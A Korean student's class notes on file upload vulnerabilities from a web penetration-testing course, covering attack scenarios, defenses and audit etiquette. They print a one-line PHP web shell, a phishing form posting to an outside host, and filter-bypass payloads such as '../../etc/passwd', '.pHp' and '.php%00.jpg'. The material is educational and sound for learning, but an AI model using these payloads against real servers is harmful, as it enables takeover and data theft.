Today I Learned …

[수업] 9주차 정리 본문

Study/수업

[수업] 9주차 정리

염베리 2021. 12. 9. 22:00

* 해당 주차의 수업 내용을 정리합니다.


* 웹 해킹

- 웹 해킹 공격 연구 보고서

 

* CTF : 해킹 대회

→ 실무

→ 취약점 찾는 대회 (버그바운티)

 

- SQL Injection

- XSS
- CSRF

- 파일업로드/다운로드

- 인증/인가

 

3개월 : 웹 해킹 공격

4개월 : 모의해킹 프로젝트, 취약점 점검 항목, 보고서 작성 방법, 금취분평(금융취약점분석평가)

5개월 : 모의해킹 프로젝트

 

* 파일 업로드

> 악성 스크립트 업로드 서버 측에서 실행 쉘 획득

> 업로드하는데 실행권한이 있어야한다.

> 확장자 필터링이 없는 경우 php (서버 실행)

> 악성 파일 업로드 (시스템 명령) 실행

> 서버 내부 파일을 삭제하거나, 수정, 유출 등 → 관리자 권한 획득

> 대응 방안 : 화이트리스트 기반(확장자), 실행권한 제거

 

1. 파일 업로드

> 공격자가 원하는 임의의(모든, 어떤) 파일을 업로드할 수 있는 취약점

 

-- 발생 위치

> 게시판 자료실

> 프로필 사진

 

-- 발생 원인

> 검증 미흡

 

2. 파일 업로드 공격 시나리오

> 파일 업로드하는데 서버에서 아무 검증이 없다면?

 

→ 침투! → 정보 탈취!

 

(1) 서버 측 실행 파일

> Web Shell → 서버 쉘 장악

 

(2) Phishing

> php 서버 측 html 업로드

google.com/aaaa/upload/login.html

<form action="http://normaltic.com/log.php">

    <input>

</form>

 

(3) Deface (파일 Override)

> 해킹 수준 유치

> 핵티비즘

 

(4) XSS

> Stored XSS

html, js

 

(5) DoS (Denial of Service)

> 서비스 거부 공격

 

다량의 대용량의 파일

> 파일의 사이즈

 

3. Web Shell

 

ShellOSH/W

 

<?php

    system($_GET['cmd']);

?>

 

4. 서버 측 코드 실행 방법

서버 코드 실행 → 접속(요청)

 

→ 업로드 된 파일 경로 URL

 

<img src=""

 

자료실 파일 업로드

→ 다운로드(이미지 주소 복사)

 

** 아무 검증 X

 

** 뭔가 검증이 있을 때

 

*

검증 : 서버 측 검증

*

 

** 대응 방안

(1) 파일 유형 : Content-Type

-- Bypass : Intercept On으로 잡고 Content-Type을 변조하면 우회 가능하다.

-- MIME : Multipurpose Internet Mail Extensions

 

(2) 실행되지 않도록 설정

→ 실행 권한

-- Bypass : 디렉토리 트레버져(../../../)로 다른 디렉토리에 업로드한다.

 

%252f → %2f → /

→ 다른 디렉토리에 저장한다고?

→ Override, Deface

→ ../../../../../../../../etc/passwd

 

→ 권한

>> root 권한 웹 서비스(하면 안됨...ㅋㅋㅋ)

→ root 웹 쉘 ㅎ... 공격자 입장에선 땡큐임

 

(3) 파일 확장자 검증!

fwkdjlfiejflksjld.php

 

* White List : 대체로 안전

 

* Black List : 문제 일어날 확률 ↑

- 대소문자 혼용

.php

.pHp, .phP

- 다른 확장자

.php

.php5, .php4

.jspx, ...

- 서버 측 설정 파일을 Override

 

* Override, Overload

프로그래밍

객체 지향 → Java, Python

절차 지향 → C

 

→ 모바일 앱 해킹

안드로이드 앱 : Java, Kotlin

 

Override

→ 함수를 재정의

test()

 

Overload

→ 이름은 같지만 인자가 다른 함수를 정의(같은 이름의 함수를 또 만든다)

test(arg1);

test(arg1, arg2);

test(arg1, arg2, arg3);

 

/upload/.htaccess → .normaltic도 .php로 실행해줘!

 

-- 이중 확장자

.php.jpg

→ 미스테리임... 되는 경우 본 적 없음

 

-- Null Byte

IIS

.php%00.jpg

 

(4) File Signature

-- Bypass : 이미지 파일 뒤에 코드 심은 다음 Intercept로 도중에 확장자를 .php로 바꿔줌

 

(5) 지금까지의 대응 방안은 모두 우회가 가능하다.. 최종 대응 방안은?

→ 다음 주에 계속!


- 파일을 업로드할 수 있는 또 다른 기능

파일 업로드 기능 X

 

WEB METHOD

GET, POST

 

PUT, DELETE

 

* 쉘

- 리버스 쉘

 

* 위험 판단 기준(주관!)

-- 서버 측 코드가 업로드 & 실행된다 → 취약

-- 서버 측 코드가 업로드되는데 어디에 저장되는지 모르겠다 → 권고! 경고!

-- 서버 측 코드가 업로드되는데 실행은 안된다 → 양호

-- 파일 사이즈 검증X → 취약(DoS)

-- 허용되지 않는 파일 확장자 업로드 → 블랙리스트 기반으로 필터링하고 있다는 뜻, 권고!

 

* 진단 시 주의할 점!

파일 업로드 : 민감!

 

- 진단 중 웹 쉘 업로드? 안됨!

→ 공격자가 마침 들어와서 활용할 수도 있음

 

- 서버 측 코드가 실행된다는 증명용 POC 코드를 올리면 됨

→ <?php echo "Exploit Complete!"; ?>

- 담당자 상담 후 침투 진행 / X

- 올렸던 것들 지워주세요! 꼼꼼히 요청


다음 주(조사해보기)

- 자매품 : LFI, RFI

- 최종적인 대응 방안

'Study > 수업' 카테고리의 다른 글

[수업] 11주차 정리  (0) 2021.12.23
[수업] 10주차 정리  (0) 2021.12.16
[수업] 8주차 정리  (0) 2021.12.02
[수업] 7주차 정리  (0) 2021.11.25
[수업] 6주차 정리  (0) 2021.11.18
프로필사진
berry
FE Developer, loves React & better DX
Comments